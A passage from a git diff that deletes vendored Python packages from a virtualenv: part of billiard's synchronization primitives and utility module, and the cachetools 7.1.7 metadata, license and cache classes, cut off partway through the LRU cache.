platforms lacking a working sem_open implementation. -# See issue 3770 -ensure_SemLock() - -# -# Constants -# - -RECURSIVE_MUTEX, SEMAPHORE = list(range(2)) -SEM_VALUE_MAX = _billiard.SemLock.SEM_VALUE_MAX - -try: - sem_unlink = _billiard.SemLock.sem_unlink -except AttributeError: # pragma: no cover - try: - # Py3.4+ implements sem_unlink and the semaphore must be named - from _multiprocessing import sem_unlink # noqa - except ImportError: - sem_unlink = None # noqa - -# -# Base class for semaphores and mutexes; wraps `_billiard.SemLock` -# - - -def _semname(sl): - try: - return sl.name - except AttributeError: - pass - - -class SemLock: - _rand = tempfile._RandomNameSequence() - - def __init__(self, kind, value, maxvalue, ctx=None): - if ctx is None: - ctx = context._default_context.get_context() - name = ctx.get_start_method() - unlink_now = sys.platform == 'win32' or name == 'fork' - if sem_unlink: - for i in range(100): - try: - sl = self._semlock = _billiard.SemLock( - kind, value, maxvalue, self._make_name(), unlink_now, - ) - except (OSError, IOError) as exc: - if getattr(exc, 'errno', None) != errno.EEXIST: - raise - else: - break - else: - exc = IOError('cannot find file for semaphore') - exc.errno = errno.EEXIST - raise exc - else: - sl = self._semlock = _billiard.SemLock(kind, value, maxvalue) - - util.debug('created semlock with handle %s', sl.handle) - self._make_methods() - - if sem_unlink: - - if sys.platform != 'win32': - def _after_fork(obj): - obj._semlock._after_fork() - util.register_after_fork(self, _after_fork) - - if _semname(self._semlock) is not None: - # We only get here if we are on Unix with forking - # disabled. When the object is garbage collected or the - # process shuts down we unlink the semaphore name - from .semaphore_tracker import register - register(self._semlock.name) - util.Finalize(self, SemLock._cleanup, (self._semlock.name,), - exitpriority=0) - - @staticmethod - def _cleanup(name): - from .semaphore_tracker import unregister - sem_unlink(name) - unregister(name) - - def _make_methods(self): - self.acquire = self._semlock.acquire - self.release = self._semlock.release - - def __enter__(self): - return self._semlock.__enter__() - - def __exit__(self, *args): - return self._semlock.__exit__(*args) - - def __getstate__(self): - context.assert_spawning(self) - sl = self._semlock - if sys.platform == 'win32': - h = context.get_spawning_popen().duplicate_for_child(sl.handle) - else: - h = sl.handle - state = (h, sl.kind, sl.maxvalue) - try: - state += (sl.name, ) - except AttributeError: - pass - return state - - def __setstate__(self, state): - self._semlock = _billiard.SemLock._rebuild(*state) - util.debug('recreated blocker with handle %r', state[0]) - self._make_methods() - - @staticmethod - def _make_name(): - return '%s-%s' % (process.current_process()._config['semprefix'], - next(SemLock._rand)) - - -class Semaphore(SemLock): - - def __init__(self, value=1, ctx=None): - SemLock.__init__(self, SEMAPHORE, value, SEM_VALUE_MAX, ctx=ctx) - - def get_value(self): - return self._semlock._get_value() - - def __repr__(self): - try: - value = self._semlock._get_value() - except Exception: - value = 'unknown' - return '<%s(value=%s)>' % (self.__class__.__name__, value) - - -class BoundedSemaphore(Semaphore): - - def __init__(self, value=1, ctx=None): - SemLock.__init__(self, SEMAPHORE, value, value, ctx=ctx) - - def __repr__(self): - try: - value = self._semlock._get_value() - except Exception: - value = 'unknown' - return '<%s(value=%s, maxvalue=%s)>' % ( - self.__class__.__name__, value, self._semlock.maxvalue) - - -class Lock(SemLock): - ''' - Non-recursive lock. - ''' - - def __init__(self, ctx=None): - SemLock.__init__(self, SEMAPHORE, 1, 1, ctx=ctx) - - def __repr__(self): - try: - if self._semlock._is_mine(): - name = process.current_process().name - if threading.current_thread().name != 'MainThread': - name += '|' + threading.current_thread().name - elif self._semlock._get_value() == 1: - name = 'None' - elif self._semlock._count() > 0: - name = 'SomeOtherThread' - else: - name = 'SomeOtherProcess' - except Exception: - name = 'unknown' - return '<%s(owner=%s)>' % (self.__class__.__name__, name) - - -class RLock(SemLock): - ''' - Recursive lock - ''' - - def __init__(self, ctx=None): - SemLock.__init__(self, RECURSIVE_MUTEX, 1, 1, ctx=ctx) - - def __repr__(self): - try: - if self._semlock._is_mine(): - name = process.current_process().name - if threading.current_thread().name != 'MainThread': - name += '|' + threading.current_thread().name - count = self._semlock._count() - elif self._semlock._get_value() == 1: - name, count = 'None', 0 - elif self._semlock._count() > 0: - name, count = 'SomeOtherThread', 'nonzero' - else: - name, count = 'SomeOtherProcess', 'nonzero' - except Exception: - name, count = 'unknown', 'unknown' - return '<%s(%s, %s)>' % (self.__class__.__name__, name, count) - - -class Condition: - ''' - Condition variable - ''' - - def __init__(self, lock=None, ctx=None): - assert ctx - self._lock = lock or ctx.RLock() - self._sleeping_count = ctx.Semaphore(0) - self._woken_count = ctx.Semaphore(0) - self._wait_semaphore = ctx.Semaphore(0) - self._make_methods() - - def __getstate__(self): - context.assert_spawning(self) - return (self._lock, self._sleeping_count, - self._woken_count, self._wait_semaphore) - - def __setstate__(self, state): - (self._lock, self._sleeping_count, - self._woken_count, self._wait_semaphore) = state - self._make_methods() - - def __enter__(self): - return self._lock.__enter__() - - def __exit__(self, *args): - return self._lock.__exit__(*args) - - def _make_methods(self): - self.acquire = self._lock.acquire - self.release = self._lock.release - - def __repr__(self): - try: - num_waiters = (self._sleeping_count._semlock._get_value() - - self._woken_count._semlock._get_value()) - except Exception: - num_waiters = 'unknown' - return '<%s(%s, %s)>' % ( - self.__class__.__name__, self._lock, num_waiters) - - def wait(self, timeout=None): - assert self._lock._semlock._is_mine(), \ - 'must acquire() condition before using wait()' - - # indicate that this thread is going to sleep - self._sleeping_count.release() - - # release lock - count = self._lock._semlock._count() - for i in range(count): - self._lock.release() - - try: - # wait for notification or timeout - return self._wait_semaphore.acquire(True, timeout) - finally: - # indicate that this thread has woken - self._woken_count.release() - - # reacquire lock - for i in range(count): - self._lock.acquire() - - def notify(self): - assert self._lock._semlock._is_mine(), 'lock is not owned' - assert not self._wait_semaphore.acquire(False) - - # to take account of timeouts since last notify() we subtract - # woken_count from sleeping_count and rezero woken_count - while self._woken_count.acquire(False): - res = self._sleeping_count.acquire(False) - assert res - - if self._sleeping_count.acquire(False): # try grabbing a sleeper - self._wait_semaphore.release() # wake up one sleeper - self._woken_count.acquire() # wait for sleeper to wake - - # rezero _wait_semaphore in case a timeout just happened - self._wait_semaphore.acquire(False) - - def notify_all(self): - assert self._lock._semlock._is_mine(), 'lock is not owned' - assert not self._wait_semaphore.acquire(False) - - # to take account of timeouts since last notify*() we subtract - # woken_count from sleeping_count and rezero woken_count - while self._woken_count.acquire(False): - res = self._sleeping_count.acquire(False) - assert res - - sleepers = 0 - while self._sleeping_count.acquire(False): - self._wait_semaphore.release() # wake up one sleeper - sleepers += 1 - - if sleepers: - for i in range(sleepers): - self._woken_count.acquire() # wait for a sleeper to wake - - # rezero wait_semaphore in case some timeouts just happened - while self._wait_semaphore.acquire(False): - pass - - def wait_for(self, predicate, timeout=None): - result = predicate() - if result: - return result - if timeout is not None: - endtime = monotonic() + timeout - else: - endtime = None - waittime = None - while not result: - if endtime is not None: - waittime = endtime - monotonic() - if waittime <= 0: - break - self.wait(waittime) - result = predicate() - return result - - -class Event: - - def __init__(self, ctx=None): - assert ctx - self._cond = ctx.Condition(ctx.Lock()) - self._flag = ctx.Semaphore(0) - - def is_set(self): - with self._cond: - if self._flag.acquire(False): - self._flag.release() - return True - return False - - def set(self): - with self._cond: - self._flag.acquire(False) - self._flag.release() - self._cond.notify_all() - - def clear(self): - with self._cond: - self._flag.acquire(False) - - def wait(self, timeout=None): - with self._cond: - if self._flag.acquire(False): - self._flag.release() - else: - self._cond.wait(timeout) - - if self._flag.acquire(False): - self._flag.release() - return True - return False - -# -# Barrier -# - - -if hasattr(threading, 'Barrier'): - - class Barrier(threading.Barrier): - - def __init__(self, parties, action=None, timeout=None, ctx=None): - assert ctx - import struct - from .heap import BufferWrapper - wrapper = BufferWrapper(struct.calcsize('i') * 2) - cond = ctx.Condition() - self.__setstate__((parties, action, timeout, cond, wrapper)) - self._state = 0 - self._count = 0 - - def __setstate__(self, state): - (self._parties, self._action, self._timeout, - self._cond, self._wrapper) = state - self._array = self._wrapper.create_memoryview().cast('i') - - def __getstate__(self): - return (self._parties, self._action, self._timeout, - self._cond, self._wrapper) - - @property - def _state(self): - return self._array[0] - - @_state.setter - def _state(self, value): # noqa - self._array[0] = value - - @property - def _count(self): - return self._array[1] - - @_count.setter - def _count(self, value): # noqa - self._array[1] = value - - -else: - - class Barrier: # noqa - - def __init__(self, *args, **kwargs): - raise NotImplementedError('Barrier only supported on Py3') diff --git a/venv/Lib/site-packages/billiard/util.py b/venv/Lib/site-packages/billiard/util.py deleted file mode 100644 index 4bca118488d235102d9270464b4fe33b95abd6f2..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/billiard/util.py +++ /dev/null @@ -1,237 +0,0 @@ -# -# Module providing various facilities to other parts of the package -# -# billiard/util.py -# -# Copyright (c) 2006-2008, R Oudkerk --- see COPYING.txt -# Licensed to PSF under a Contributor Agreement. -# - -import sys -import errno -import functools -import atexit - -try: - import cffi -except ImportError: - import ctypes - -try: - from subprocess import _args_from_interpreter_flags # noqa -except ImportError: # pragma: no cover - def _args_from_interpreter_flags(): # noqa - """Return a list of command-line arguments reproducing the current - settings in sys.flags and sys.warnoptions.""" - flag_opt_map = { - 'debug': 'd', - 'optimize': 'O', - 'dont_write_bytecode': 'B', - 'no_user_site': 's', - 'no_site': 'S', - 'ignore_environment': 'E', - 'verbose': 'v', - 'bytes_warning': 'b', - 'hash_randomization': 'R', - 'py3k_warning': '3', - } - args = [] - for flag, opt in flag_opt_map.items(): - v = getattr(sys.flags, flag) - if v > 0: - args.append('-' + opt * v) - for opt in sys.warnoptions: - args.append('-W' + opt) - return args - -from multiprocessing.util import ( # noqa - _afterfork_registry, - _afterfork_counter, - _exit_function, - _finalizer_registry, - _finalizer_counter, - Finalize, - ForkAwareLocal, - ForkAwareThreadLock, - get_temp_dir, - is_exiting, - register_after_fork, - _run_after_forkers, - _run_finalizers, -) - -from .compat import get_errno - -__all__ = [ - 'sub_debug', 'debug', 'info', 'sub_warning', 'get_logger', - 'log_to_stderr', 'get_temp_dir', 'register_after_fork', - 'is_exiting', 'Finalize', 'ForkAwareThreadLock', 'ForkAwareLocal', - 'SUBDEBUG', 'SUBWARNING', -] - - -# Constants from prctl.h -PR_GET_PDEATHSIG = 2 -PR_SET_PDEATHSIG = 1 - -# -# Logging -# - -NOTSET = 0 -SUBDEBUG = 5 -DEBUG = 10 -INFO = 20 -SUBWARNING = 25 -WARNING = 30 -ERROR = 40 - -LOGGER_NAME = 'multiprocessing' -DEFAULT_LOGGING_FORMAT = '[%(levelname)s/%(processName)s] %(message)s' - -_logger = None -_log_to_stderr = False - - -def sub_debug(msg, *args, **kwargs): - if _logger: - _logger.log(SUBDEBUG, msg, *args, **kwargs) - - -def debug(msg, *args, **kwargs): - if _logger: - _logger.log(DEBUG, msg, *args, **kwargs) - - -def info(msg, *args, **kwargs): - if _logger: - _logger.log(INFO, msg, *args, **kwargs) - - -def sub_warning(msg, *args, **kwargs): - if _logger: - _logger.log(SUBWARNING, msg, *args, **kwargs) - -def warning(msg, *args, **kwargs): - if _logger: - _logger.log(WARNING, msg, *args, **kwargs) - -def error(msg, *args, **kwargs): - if _logger: - _logger.log(ERROR, msg, *args, **kwargs) - - -def get_logger(): - ''' - Returns logger used by multiprocessing - ''' - global _logger - import logging - - try: - # Python 3.13+ - acquire, release = logging._prepareFork, logging._afterFork - except AttributeError: - acquire, release = logging._acquireLock, logging._releaseLock - acquire() - try: - if not _logger: - - _logger = logging.getLogger(LOGGER_NAME) - _logger.propagate = 0 - logging.addLevelName(SUBDEBUG, 'SUBDEBUG') - logging.addLevelName(SUBWARNING, 'SUBWARNING') - - # XXX multiprocessing should cleanup before logging - if hasattr(atexit, 'unregister'): - atexit.unregister(_exit_function) - atexit.register(_exit_function) - else: - atexit._exithandlers.remove((_exit_function, (), {})) - atexit._exithandlers.append((_exit_function, (), {})) - finally: - release() - - return _logger - - -def log_to_stderr(level=None): - ''' - Turn on logging and add a handler which prints to stderr - ''' - global _log_to_stderr - import logging - - logger = get_logger() - formatter = logging.Formatter(DEFAULT_LOGGING_FORMAT) - handler = logging.StreamHandler() - handler.setFormatter(formatter) - logger.addHandler(handler) - - if level: - logger.setLevel(level) - _log_to_stderr = True - return _logger - - -def get_pdeathsig(): - """ - Return the current value of the parent process death signal - """ - if not sys.platform.startswith('linux'): - # currently we support only linux platform. - raise OSError() - try: - if 'cffi' in sys.modules: - ffi = cffi.FFI() - ffi.cdef("int prctl (int __option, ...);") - arg = ffi.new("int *") - C = ffi.dlopen(None) - C.prctl(PR_GET_PDEATHSIG, arg) - return arg[0] - else: - sig = ctypes.c_int() - libc = ctypes.cdll.LoadLibrary("libc.so.6") - libc.prctl(PR_GET_PDEATHSIG, ctypes.byref(sig)) - return sig.value - except Exception: - raise OSError() - - -def set_pdeathsig(sig): - """ - Set the parent process death signal of the calling process to sig - (either a signal value in the range 1..maxsig, or 0 to clear). - This is the signal that the calling process will get when its parent dies. - This value is cleared for the child of a fork(2) and - (since Linux 2.4.36 / 2.6.23) when executing a set-user-ID or set-group-ID binary. - """ - if not sys.platform.startswith('linux'): - # currently we support only linux platform. - raise OSError("pdeathsig is only supported on linux") - try: - if 'cffi' in sys.modules: - ffi = cffi.FFI() - ffi.cdef("int prctl (int __option, ...);") - C = ffi.dlopen(None) - C.prctl(PR_SET_PDEATHSIG, ffi.cast("int", sig)) - else: - libc = ctypes.cdll.LoadLibrary("libc.so.6") - libc.prctl(PR_SET_PDEATHSIG, ctypes.c_int(sig)) - except Exception as e: - raise OSError("An error occurred while setting pdeathsig") from e - -def _eintr_retry(func): - ''' - Automatic retry after EINTR. - ''' - - @functools.wraps(func) - def wrapped(*args, **kwargs): - while 1: - try: - return func(*args, **kwargs) - except OSError as exc: - if get_errno(exc) != errno.EINTR: - raise - return wrapped diff --git a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/INSTALLER b/venv/Lib/site-packages/cachetools-7.1.7.dist-info/INSTALLER deleted file mode 100644 index a1b589e38a32041e49332e5e81c2d363dc418d68..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/INSTALLER +++ /dev/null @@ -1 +0,0 @@ -pip diff --git a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/METADATA b/venv/Lib/site-packages/cachetools-7.1.7.dist-info/METADATA deleted file mode 100644 index f7046fb99ee49fb1727e6ad15639eed1e624defb..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/METADATA +++ /dev/null @@ -1,144 +0,0 @@ -Metadata-Version: 2.4 -Name: cachetools -Version: 7.1.7 -Summary: Extensible memoizing collections and decorators -Author-email: Thomas Kemmer -Maintainer-email: Thomas Kemmer -License-Expression: MIT -Project-URL: Homepage, https://github.com/tkem/cachetools/ -Project-URL: Documentation, https://cachetools.readthedocs.io/en/stable/ -Project-URL: Source, https://github.com/tkem/cachetools/ -Project-URL: Repository, https://github.com/tkem/cachetools/ -Project-URL: Issues, https://github.com/tkem/cachetools/issues -Project-URL: Changelog, https://github.com/tkem/cachetools/blob/master/CHANGELOG.rst -Classifier: Development Status :: 5 - Production/Stable -Classifier: Intended Audience :: Developers -Classifier: Operating System :: OS Independent -Classifier: Programming Language :: Python -Classifier: Programming Language :: Python :: 3 -Classifier: Programming Language :: Python :: 3.10 -Classifier: Programming Language :: Python :: 3.11 -Classifier: Programming Language :: Python :: 3.12 -Classifier: Programming Language :: Python :: 3.13 -Classifier: Programming Language :: Python :: 3.14 -Classifier: Topic :: Software Development :: Libraries :: Python Modules -Requires-Python: >=3.10 -Description-Content-Type: text/x-rst -License-File: LICENSE -Dynamic: license-file - -cachetools -======================================================================== - -.. image:: https://img.shields.io/pypi/v/cachetools - :target: https://pypi.org/project/cachetools/ - :alt: Latest PyPI version - -.. image:: https://img.shields.io/github/actions/workflow/status/tkem/cachetools/ci.yml - :target: https://github.com/tkem/cachetools/actions/workflows/ci.yml - :alt: CI build status - -.. image:: https://img.shields.io/readthedocs/cachetools - :target: https://cachetools.readthedocs.io/ - :alt: Documentation build status - -.. image:: https://img.shields.io/codecov/c/github/tkem/cachetools/master.svg - :target: https://codecov.io/gh/tkem/cachetools - :alt: Test coverage - -.. image:: https://img.shields.io/github/license/tkem/cachetools - :target: https://raw.github.com/tkem/cachetools/master/LICENSE - :alt: License - -This module provides various memoizing collections and decorators, -including variants of the Python Standard Library's `@lru_cache`_ -function decorator. - -.. code-block:: python - - from cachetools import cached, LRUCache, TTLCache - - # speed up calculating Fibonacci numbers with dynamic programming - @cached(cache={}) - def fib(n): - return n if n < 2 else fib(n - 1) + fib(n - 2) - - # cache least recently used Python Enhancement Proposals - @cached(cache=LRUCache(maxsize=32)) - def get_pep(num): - url = 'http://www.python.org/dev/peps/pep-%04d/' % num - with urllib.request.urlopen(url) as s: - return s.read() - - # cache weather data for no longer than ten minutes - @cached(cache=TTLCache(maxsize=1024, ttl=600)) - def get_weather(place): - return owm.weather_at_place(place).get_weather() - -For the purpose of this module, a *cache* is a mutable_ mapping_ of a -fixed maximum size. When the cache is full, i.e. by adding another -item the cache would exceed its maximum size, the cache must choose -which item(s) to discard based on a suitable `cache algorithm`_. - -This module provides multiple cache classes based on different cache -algorithms, as well as decorators for easily memoizing function and -method calls. - - -Installation ------------------------------------------------------------------------- - -cachetools is available from PyPI_ and can be installed by running:: - - pip install cachetools - - -Project Resources ------------------------------------------------------------------------- - -- `Documentation`_ -- `Issue tracker`_ -- `Source code`_ -- `Change log`_ - - -Related Projects ------------------------------------------------------------------------- - -- asyncache_: Helpers to use cachetools_ with asyncio. -- cachetools-async_: Helpers to use cachetools_ with asyncio. -- cacheing_: Pure Python Cacheing Library. -- CacheToolsUtils_: Stackable cache classes for sharing, encryption, - statistics *and more* on top of cachetools_, redis_ and memcached_. -- shelved-cache_: Persistent cache implementation for Python - cachetools_. - - -License ------------------------------------------------------------------------- - -Copyright (c) 2014-2026 Thomas Kemmer. - -Licensed under the `MIT License`_. - - -.. _@lru_cache: https://docs.python.org/3/library/functools.html#functools.lru_cache -.. _mutable: https://docs.python.org/dev/glossary.html#term-mutable -.. _mapping: https://docs.python.org/dev/glossary.html#term-mapping -.. _cache algorithm: https://en.wikipedia.org/wiki/Cache_algorithms - -.. _PyPI: https://pypi.org/project/cachetools/ -.. _Documentation: https://cachetools.readthedocs.io/ -.. _Issue tracker: https://github.com/tkem/cachetools/issues/ -.. _Source code: https://github.com/tkem/cachetools/ -.. _Change log: https://github.com/tkem/cachetools/blob/master/CHANGELOG.rst -.. _MIT License: https://raw.github.com/tkem/cachetools/master/LICENSE - -.. _asyncache: https://pypi.org/project/asyncache/ -.. _cachetools-async: https://pypi.org/project/cachetools-async/ -.. _cacheing: https://pypi.org/project/cacheing/ -.. _CacheToolsUtils: https://pypi.org/project/CacheToolsUtils/ -.. _shelved-cache: https://pypi.org/project/shelved-cache/ -.. _cachetools: https://pypi.org/project/cachetools/ -.. _redis: https://redis.io/ -.. _memcached: https://memcached.org/ diff --git a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/RECORD b/venv/Lib/site-packages/cachetools-7.1.7.dist-info/RECORD deleted file mode 100644 index d9f8e3f61124a2e4263e2f00825ba8e051be4ad6..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/RECORD +++ /dev/null @@ -1,21 +0,0 @@ -cachetools-7.1.7.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 -cachetools-7.1.7.dist-info/METADATA,sha256=jScbZWuLclX6DsmDcO2iFSMuIXLJtBUj3wLYmjUZAmg,5455 -cachetools-7.1.7.dist-info/RECORD,, -cachetools-7.1.7.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -cachetools-7.1.7.dist-info/WHEEL,sha256=K260EYznzXsJYBQGqmI8VTxEdiZYNvDZwW9cBh9-_MA,91 -cachetools-7.1.7.dist-info/licenses/LICENSE,sha256=KMAAtSsO4nE4po73eCJ-QFcEboa2X2LxysuZsMxJ4NI,1085 -cachetools-7.1.7.dist-info/top_level.txt,sha256=ai2FH78TGwoBcCgVfoqbzk5IQCtnDukdSs4zKuVPvDs,11 -cachetools/__init__.py,sha256=vccL1d7Avp-2kkHa1brdU0gqktm_-8hncMCq2sXlKNQ,23715 -cachetools/__init__.pyi,sha256=7ZVREDumxRtjJgQmjnEE9kmnsOxAxMCmgCVA5W5LfEY,7695 -cachetools/__pycache__/__init__.cpython-314.pyc,, -cachetools/__pycache__/_cached.cpython-314.pyc,, -cachetools/__pycache__/_cachedmethod.cpython-314.pyc,, -cachetools/__pycache__/func.cpython-314.pyc,, -cachetools/__pycache__/keys.cpython-314.pyc,, -cachetools/_cached.py,sha256=PzAcDPv2oQjKL_yldFaBmBZPlZlDm1lchZ9kUKTaeVs,6849 -cachetools/_cachedmethod.py,sha256=rS5167bTExIl82zmPG8oFwDmda_3nOLUR_jpcTK07LQ,14430 -cachetools/func.py,sha256=h3JOT8gjA_1Rcsyf0Dx6r2p2fGxHfzy3SiRfxF6_eBY,3275 -cachetools/func.pyi,sha256=tVwg1BIgFBZRg-gLMHi0Arml8TAMUJFDvW7IYdWBmvI,2235 -cachetools/keys.py,sha256=lVC9aRR0TC_G_SEd-4PNri1iBrGhv88FLQF8sjs5tJ4,1967 -cachetools/keys.pyi,sha256=WUoRZqnDmaN1tgle4bOECPRLfXyLe1doXKq4W0WYokw,534 -cachetools/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 diff --git a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/REQUESTED b/venv/Lib/site-packages/cachetools-7.1.7.dist-info/REQUESTED deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/WHEEL b/venv/Lib/site-packages/cachetools-7.1.7.dist-info/WHEEL deleted file mode 100644 index 1d472b6c22838de58d1c3c0dd2c795a5cde9e415..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/WHEEL +++ /dev/null @@ -1,5 +0,0 @@ -Wheel-Version: 1.0 -Generator: setuptools (83.0.0) -Root-Is-Purelib: true -Tag: py3-none-any - diff --git a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/licenses/LICENSE b/venv/Lib/site-packages/cachetools-7.1.7.dist-info/licenses/LICENSE deleted file mode 100644 index f980a19c78c25959f922b8cc93854d91a89e686f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/licenses/LICENSE +++ /dev/null @@ -1,20 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2014-2026 Thomas Kemmer - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/top_level.txt b/venv/Lib/site-packages/cachetools-7.1.7.dist-info/top_level.txt deleted file mode 100644 index 50d14084a9bc37250ae243ccae4a536f85f3ca2f..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools-7.1.7.dist-info/top_level.txt +++ /dev/null @@ -1 +0,0 @@ -cachetools diff --git a/venv/Lib/site-packages/cachetools/__init__.py b/venv/Lib/site-packages/cachetools/__init__.py deleted file mode 100644 index 5e0069a3659a5e9ad6b200c821e080639e036322..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/cachetools/__init__.py +++ /dev/null @@ -1,789 +0,0 @@ -"""Extensible memoizing collections and decorators.""" - -__all__ = ( - "Cache", - "FIFOCache", - "LFUCache", - "LRUCache", - "RRCache", - "TLRUCache", - "TTLCache", - "cached", - "cachedmethod", -) - -__version__ = "7.1.7" - -import collections -import collections.abc -import functools -import heapq -import random -import time - -from . import keys - - -class _DefaultSize: - """A minimal "fake" dict that returns a constant size 1 for any key.""" - - __slots__ = () - - def __getitem__(self, _key): - return 1 - - def __setitem__(self, _key, _value): - pass - - def pop(self, _key): - return 1 - - def clear(self): - pass - - -class Cache(collections.abc.MutableMapping): - """Mutable mapping to serve as a simple cache or cache base class.""" - - __marker = object() - - __size = _DefaultSize() - - def __init__(self, maxsize, getsizeof=None): - if getsizeof: - self.getsizeof = getsizeof - if self.getsizeof is not Cache.getsizeof: - self.__size = {} - self.__data = {} - self.__currsize = 0 - self.__maxsize = maxsize - - def __repr__(self): - return "%s(%s, maxsize=%r, currsize=%r)" % ( - type(self).__name__, - repr(self.__data), - self.__maxsize, - self.__currsize, - ) - - def __getitem__(self, key): - try: - return self.__data[key] - except KeyError: - return self.__missing__(key) - - def __setitem__(self, key, value): - maxsize = self.__maxsize - size = self.getsizeof(value) - if size < 0: - raise ValueError("value size must be non-negative") - if size > maxsize: - raise ValueError("value too large") - if key not in self.__data: - diffsize = size - while self.__currsize + diffsize > maxsize: - self.popitem() - else: - diffsize = size - self.__size[key] - while self.__currsize + diffsize > maxsize: - self.popitem() - if key not in self.__data: - diffsize = size - self.__data[key] = value - self.__size[key] = size - self.__currsize += diffsize - - def __delitem__(self, key): - size = self.__size.pop(key) - del self.__data[key] - self.__currsize -= size - - def __contains__(self, key): - return key in self.__data - - def __missing__(self, key): - raise KeyError(key) - - def __iter__(self): - return iter(self.__data) - - def __len__(self): - return len(self.__data) - - # Note that we cannot simply inherit get(), pop() and setdefault() - # from MutableMapping, since these rely on __getitem__ throwing a - # KeyError on cache miss. This is not the case if __missing__ is - # implemented for a Cache subclass, so we have to roll our own, - # somewhat less elegant versions. - - def get(self, key, default=None): - if key in self: - return self[key] - else: - return default - - def pop(self, key, default=__marker): - if key in self: - value = self[key] - del self[key] - elif default is self.__marker: - raise KeyError(key) - else: - value = default - return value - - def setdefault(self, key, default=None): - if key in self: - value = self[key] - else: - self[key] = value = default - return value - - # Although the MutableMapping.clear() default implementation works - # perfectly well, it calls popitem() in a loop until the cache is - # empty, resulting in O(n) complexity. For large caches, this - # becomes a significant performance bottleneck, so we provide an - # optimized version for each Cache subclass. - - def clear(self): - self.__data.clear() - self.__size.clear() - self.__currsize = 0 - - @property - def maxsize(self): - """The maximum size of the cache.""" - return self.__maxsize - - @property - def currsize(self): - """The current size of the cache.""" - return self.__currsize - - @staticmethod - def getsizeof(value): - """Return the size of a cache element's value.""" - return 1 - - -class FIFOCache(Cache): - """First In First Out (FIFO) cache implementation.""" - - def __init__(self, maxsize, getsizeof=None): - Cache.__init__(self, maxsize, getsizeof) - self.__order = collections.OrderedDict() - - def __setitem__(self, key, value, cache_setitem=Cache.__setitem__): - cache_setitem(self, key, value) - if key in self.__order: - self.__order.move_to_end(key) - else: - self.__order[key] = None - - def __delitem__(self, key, cache_delitem=Cache.__delitem__): - cache_delitem(self, key) - del self.__order[key] - - def popitem(self): - """Remove and return the `(key, value)` pair first inserted.""" - try: - key = next(iter(self.__order)) - except StopIteration: - raise KeyError("%s is empty" % type(self).__name__) from None - else: - return (key, self.pop(key)) - - def clear(self): - Cache.clear(self) - self.__order.clear() - - -class LFUCache(Cache): - """Least Frequently Used (LFU) cache implementation.""" - - class _Link: - __slots__ = ("count", "keys", "next", "prev") - - def __init__(self, count): - self.count = count - self.keys = set() - - def unlink(self): - next = self.next - prev = self.prev - prev.next = next - next.prev = prev - - def __init__(self, maxsize, getsizeof=None): - Cache.__init__(self, maxsize, getsizeof) - self.__root = root = LFUCache._Link(0) # sentinel - root.prev = root.next = root - self.__links = {} - - def __getitem__(self, key, cache_getitem=Cache.__getitem__): - value = cache_getitem(self, key) - if key in self: # __missing__ may not store item - self.__touch(key) - return value - - def __setitem__(self, key, value, cache_setitem=Cache.__setitem__): - cache_setitem(self, key, value) - if key in self.__links: - self.__touch(key) - return - root = self.__root - link = root.next - if link.count != 1: - link = LFUCache._Link(1) - link.next = root.next - root.next = link.next.prev = link - link.prev = root - link.keys.add(key) - self.__links[key] = link - - def __delitem__(self, key, cache_delitem=Cache.__delitem__): - cache_delitem(self, key) - link = self.__links.pop(key) - link.keys.remove(key) - if not link.keys: - link.unlink() - - def popitem(self): - """Remove and return the `(key, value)` pair least frequently used.""" - root = self.__root - curr = root.next - if curr is root: - raise KeyError("%s is empty" % type(self).__name__) from None - key = next(iter(curr.keys)) # remove an arbitrary element - return (key, self.pop(key)) - - def clear(self): - Cache.clear(self) - root = self.__root - root.prev = root.next = root - self.__links.clear() - - def __touch(self, key): - """Increment use count""" - link = self.__links[key] - curr = link.next - if curr.count != link.count + 1: - if len(link.keys) == 1: - link.count += 1 - return - curr = LFUCache._Link(link.count + 1) - curr.next = link.next - link.next = curr.next.prev = curr - curr.prev = link - curr.keys.add(key) - link.keys.remove(key) - if not link.keys: - link.unlink() - self.__links[key] = curr - - -class LRUCache(Cache): - """Least Recently Used (LRU) cache implementation.""" - - def __init__(self, maxsize, getsizeof=None): - Cache.__init__(self, maxsize, 